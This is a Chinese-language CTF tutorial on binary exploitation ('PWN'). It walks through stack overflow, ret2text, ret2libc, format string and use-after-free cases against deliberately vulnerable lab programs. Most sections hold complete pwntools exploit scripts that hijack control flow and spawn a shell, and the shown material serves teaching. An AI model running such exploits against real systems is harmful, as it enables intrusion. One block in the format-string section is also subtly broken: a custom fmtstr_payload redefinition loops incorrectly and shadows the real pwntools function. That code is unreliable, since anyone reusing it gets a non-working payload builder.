CTF 之 PWN 解题方法及案例分析

CTF 之 PWN 解题方法及案例分析

1. 什么是 PWN

在 CTF(Capture The Flag)竞赛中,PWN 是一类以「二进制漏洞挖掘与利用」为核心的题目。题目通常会给出一个可执行程序(有时附带源码,更多时候只有二进制文件)以及一个远程服务地址,要求选手通过分析程序逻辑、定位漏洞、构造恶意输入,最终拿到服务器上的 flag。

PWN 题考查的是对底层机制的深入理解:汇编语言、调用栈、内存布局、动态链接、堆分配器以及 Linux 系统调用等。虽然门槛较高,但一旦掌握基本方法论,PWN 就能成为 CTF 中最有成就感的赛道之一。

全文环境约定:

  • 操作系统:Ubuntu 20.04 / 22.04(64 位)
  • 调试器:GDB + pwndbg
  • 利用框架:pwntools(Python)
  • 编译示例:gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie

2. PWN 解题基础工具链

在开始动手之前,先把工具链准备好。PWN 题最常用的工具有以下几类:

2.1 静态分析工具

  • file:查看文件类型、位数、是否 PIE、是否动态链接。
  • checksec:一键检查保护机制,是 PWN 选手必用的第一命令。
file./vuln checksec ./vuln

checksec输出示例:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

每一项都直接关系到后续利用方案的选择:Canary 决定是否需要泄露栈信息,NX 决定能否直接执行 shellcode,PIE 决定地址是否固定。

2.2 动态调试工具

  • gdb + pwndbg:断点、单步、查看内存与寄存器。
  • objdump / IDA / Ghidra:反汇编分析逻辑。

最常用的 GDB 命令:

gdb ./vuln b *main r ni# 单步执行,不进入函数si# 单步执行,进入函数x/20gx$rsp# 查看栈上 20 个 8 字节数据vmmap# 查看内存映射(pwndbg 扩展)

2.3 利用框架 pwntools

安装及基本连接模板:

pipinstallpwntools
frompwnimport*context.arch='amd64'context.log_level='debug'# 本地调试p=process('./vuln')# 远程连接# p = remote('127.0.0.1', 10001)p.recvuntil(b'>>>')p.sendline(payload)p.interactive()

3. PWN 解题通用流程

拿到一道 PWN 题后,建议按照以下固定流程开展,避免盲目试错。

拿到题目文件

file + checksec 查看保护

反汇编/源码审计定位漏洞点

确定利用思路与攻击向量

本地调试构造 payload

编写 pwntools 脚本攻击

本地打通后攻击远程拿 flag

3.1 第一步:分析保护机制

保护机制决定了利用难度与可行路线:

  • Canary:栈溢出前需先泄露 Canary 值。
  • NX:开启后栈不可执行,需转向 ret2libc、ROP 等技术。
  • PIE:开启后地址随机,需先泄露基址。
  • RELRO:Full RELRO 时 GOT 表只读,无法覆写 GOT。
  • ASLR:系统级地址随机化,绕过方式通常是先泄露地址。

3.2 第二步:定位漏洞

常见漏洞触发点包括:

  • 不安全的输入函数:gets()scanf("%s")strcpy()sprintf()
  • 数组越界访问。
  • 格式化字符串漏洞:printf(buf)
  • 堆管理错误:悬空指针、重复释放、malloc大小混淆。
  • 整数溢出:符号错误、截断、size_tint混用。

3.3 第三步:选择利用方式

依据漏洞类型和保护机制选择合适的攻击方式:

漏洞类型常见利用方式
栈溢出(NX 关闭)直接覆盖返回地址为 shellcode
栈溢出(NX 开启)ROP / ret2libc / ret2plt
格式化字符串任意地址读、任意地址写
堆溢出 / UAFtcache poisoning、fastbin attack
整数溢出绕过长度检查,间接制造溢出或越界

3.4 第四步:本地打通,远程复现

所有 payload 先在本地验证,确认拿下本地 shell 或输出 flag 后,再将脚本切换到remote模式攻击远程服务。

4. 核心机制速览:栈溢出原理

PWN 入门的第一课通常是栈溢出。理解栈帧结构是后续所有利用的基础。

以下列程序为例:

#include<stdio.h>#include<string.h>voidvuln(){charbuf[32];gets(buf);}intmain(){vuln();return0;}

gets(buf)读入超过 32 字节的数据时,多余的字节会覆盖栈上保存的返回地址。在 x86-64 下,buf到返回地址的偏移通常可以通过 GDB 精确计算,或使用 pwntools 的cyclic快速定位:

frompwnimport*# 生成 200 字节循环序列payload=cyclic(200)p=process('./vuln')p.sendline(payload)p.wait()core=p.corefile offset=cyclic_find(core.read(core.rsp,8))print("offset =",offset)# 典型值为 40

随后即可将返回地址覆盖为后门函数、shellcode 或 ROP 链的起始地址。

5. 实战案例一:ret2text(跳转后门函数)

5.1 题目描述

目标程序源码如下:

#include<stdio.h>voidsuccess(){system("/bin/sh");}voidvuln(){charbuf[32];puts("Input:");gets(buf);}intmain(){vuln();return0;}

编译时关闭保护:

gcc-oret2text ret2text.c -fno-stack-protector -no-pie

程序本身含有一个success()后门函数,它会调用system("/bin/sh")。我们只需把返回地址覆盖为success的地址即可。

5.2 信息收集

checksec ./ret2text

关键输出为:No canary foundNX enabledNo PIE。没有 PIE 意味着函数地址固定,可以直接硬编码。

反汇编确认后门函数地址:

objdump-d./ret2text|grepsuccess

假设输出为:

0000000000401162 <success>:

5.3 计算偏移

通过cyclic定位得到buf到返回地址的偏移为 40。

5.4 构造利用脚本

frompwnimport*context.arch='amd64'context.log_level='debug'success_addr=0x401162offset=40payload=b'A'*offset+p64(success_addr)p=process('./ret2text')p.recvuntil(b'Input:')p.sendline(payload)p.interactive()

本地运行后即可拿到 shell。远程攻击时只需将process换成remote('ip', port)并补齐交互逻辑。

5.5 反思

ret2text 是最基础的 PWN 利用方式,前提是程序内存在后门函数且无 PIE 保护。真实竞赛题目往往没有现成后门,需要借助 ret2libc 或 ROP 自行构造系统调用。

6. 实战案例二:ret2libc(泄漏地址绕过 NX 与 ASLR)

6.1 题目描述

当程序开启了 NX,且没有后门函数时,无法直接执行栈上的 shellcode,也不能简单跳到现成函数。此时可以利用「返回导向编程」的思路,跳转到 libc 中的system()函数执行/bin/sh

#include<stdio.h>voidvuln(){charbuf[32];puts("Input:");gets(buf);}intmain(){vuln();return0;}
gcc-oret2libc ret2libc.c -fno-stack-protector -no-pie

6.2 利用思路

关键问题在于:libc 的基址受 ASLR 影响,每次运行随机。因此利用分为两步:

  1. 泄露地址:通过puts(puts@got)打印 libc 中puts函数真实地址。
  2. 计算基址:用真实地址减去 libc 中puts的固定偏移,得到 libc 基址。
  3. 再次跳转:让vuln再次执行,第二次将返回地址覆盖为system并传入/bin/sh字符串地址。

6.3 查找 gadget

64 位程序传参使用寄存器,system的参数需要通过rdi传递,因此需要找到pop rdi; ret这个 gadget:

ROPgadget--binary./ret2libc--only"pop|ret"|greprdi

或使用 pwntools:

frompwnimport*elf=ELF('./ret2libc')libc=ELF('./libc.so.6')pop_rdi=0x4011db# 假设已找到

6.4 完整脚本

frompwnimport*context.arch='amd64'context.log_level='debug'elf=ELF('./ret2libc')libc=ELF('./libc.so.6')pop_rdi=0x4011dbputs_plt=elf.plt['puts']puts_got=elf.got['puts']main_addr=elf.symbols['main']offset=40p=process('./ret2libc')# 第一步:泄露 puts 地址payload1=b'A'*offset+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)p.recvuntil(b'Input:')p.sendline(payload1)p.recvline()leak=u64(p.recv(6).ljust(8,b'\x00'))libc_base=leak-libc.symbols['puts']log.success(f'libc base:{hex(libc_base)}')# 第二步:调用 system("/bin/sh")system_addr=libc_base+libc.symbols['system']binsh_addr=libc_base+next(libc.search(b'/bin/sh'))payload2=b'A'*offset+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)p.recvuntil(b'Input:')p.sendline(payload2)p.interactive()

一个关键点是远程环境的 libc 版本可能与本地不同,需要先通过题目提供的 libc 附件或在线 libc 数据库确认版本及偏移。

7. 实战案例三:格式化字符串漏洞

7.1 漏洞成因

当程序员将用户输入直接作为printf的第一个参数时,就产生了格式化字符串漏洞:

voidvuln(){charbuf[64];read(0,buf,0x100);printf(buf);}

攻击者可以输入%p%x%n等格式化占位符,实现任意地址读和任意地址写。

7.2 任意地址读示例

输入%7$p可打印栈上第 7 个参数位置的值,从而泄露栈地址、Canary、libc 地址等敏感信息。通过不断调整偏移,即可把栈上所有内容遍历出来。

7.3 任意地址写示例

利用%n将已输出字符数写入指定地址,可用于覆写 GOT 表或返回地址。pwntools 提供了便捷的格式化字符串构造器:

frompwnimport*deffmtstr_payload(offset,writes,numbwritten=0,write_size='byte'):payload=b''foraddr,valueinwrites.items():payload+=fmtstr_split(offset,writes)returnpayload# 修改 puts@got 为 system 地址writes={elf.got['puts']:system_addr}payload=fmtstr_payload(7,writes)

实际编写时需要注意 64 位地址中的\x00会截断字符串,因此地址必须放在 payload 末尾,并合理使用%hhn逐字节写入。

7.4 防御建议

格式化字符串漏洞的根源是把用户输入当作格式串。防御方法很简单:printf("%s", buf)永远显式指定格式串。

8. 实战案例四:堆利用入门(UAF)

8.1 释放后使用(Use After Free)

UAF 是指内存释放后,指针未置空,程序继续使用该指针访问已经释放的内存。当同一块内存被重新分配给另一个对象时,就可能造成类型混淆或控制流劫持。

典型漏洞代码:

structnote{void(*print)();charcontent[32];};structnote*a=malloc(sizeof(structnote));a->print=print_a;free(a);// 未置空 a,此时 a 为悬空指针structnote*b=malloc(sizeof(structnote));strcpy(b->content,"attacker");a->print();// 使用已释放指针,可能调用到攻击者控制的数据

8.2 利用思路

在 glibc 2.31 之前的 tcache 机制下,同尺寸的 chunk 会进入 tcache bin,后释放先分配(LIFO)。因此free(a)后再malloc同样大小的bb会复用a的地址。若攻击者能控制bprint字段,再通过悬空指针a->print()调用,即可劫持控制流。

8.3 利用脚本核心逻辑

add(0,b'\x00'*8)# 申请 chunk afree(0)# 释放,产生 UAFadd(1,p64(system_addr))# 申请同尺寸 chunk b,覆写函数指针show(0)# 通过悬空指针触发 system_addr

现代 glibc 版本逐步加入更多防护(tcache key、safe-linking 等),因此比赛中需先确认 libc 版本再调整利用细节。

9. 常见保护绕过总结

保护机制绕过思路
Stack Canary格式化字符串泄露 Canary / 逐字节爆破
NXROP / ret2libc / ret2dlresolve / mprotect 改权限
ASLR泄漏实际地址后计算基址 / ret2plt
PIE泄漏代码段地址 / 部分覆写低字节
Full RELRO改写栈返回地址或堆指针,而非 GOT
seccomp 沙箱改用 open+read+write 的 orw 链

10. 常用命令速查

# 静态检查file./vuln checksec ./vuln strings ./vuln# 反汇编objdump-d-Mintel ./vuln# 查找字符串ROPgadget--binary./vuln--string"/bin/sh"ROPgadget--binary./vuln--only"pop|ret"# GDB 调试gdb ./vuln b *vuln x/30gx$rspinfo registers

pwntools 常用 API:

frompwnimport*elf=ELF('./vuln')# 解析 ELFlibc=ELF('./libc.so.6')# 解析 libcp=process('./vuln')# 本地p=remote('172.17.0.2',10001)# 远程p.recvuntil(b'x')p.sendline(b'payload')p.recvline()addr=u64(p.recv(6).ljust(8,b'\x00'))# 泄漏地址还原

11. 总结

PWN 题目的解题路径可以概括为:保护分析 → 漏洞挖掘 → 方案设计 → 本地调优 → 远程拿 flag

  • 入门阶段重点掌握栈溢出和 ret2text,理解栈帧与返回地址的覆盖原理。
  • 进阶阶段需要熟练运用 ROP、ret2libc、格式化字符串等技巧,并能独立分析 libc 环境差异。
  • 高阶阶段深入堆分配器机制,掌握 UAF、double free、堆风水等利用方法,并应对 seccomp、canary 等复合防护。

安全研究的目标始终是发现问题并推动修复。PWN 的学习价值在于让你真正理解程序的底层运行机制:每一次函数调用、每一个指针、每一块内存分配都直接暴露在眼前。希望本文的流程和案例能帮助你少走弯路,在下一场 CTF 中顺利拿到属于自己的 flag。

12. 参考与延伸学习

  • CTF Wiki:https://ctf-wiki.org/pwn/
  • pwntools 官方文档:https://docs.pwntools.com/
  • pwndbg 项目:https://github.com/pwndbg/pwndbg
  • glibc 源码在线浏览:https://elixir.bootlin.com/glibc/latest/source
  • 训练平台推荐:BUUCTF、攻防世界、CTFshow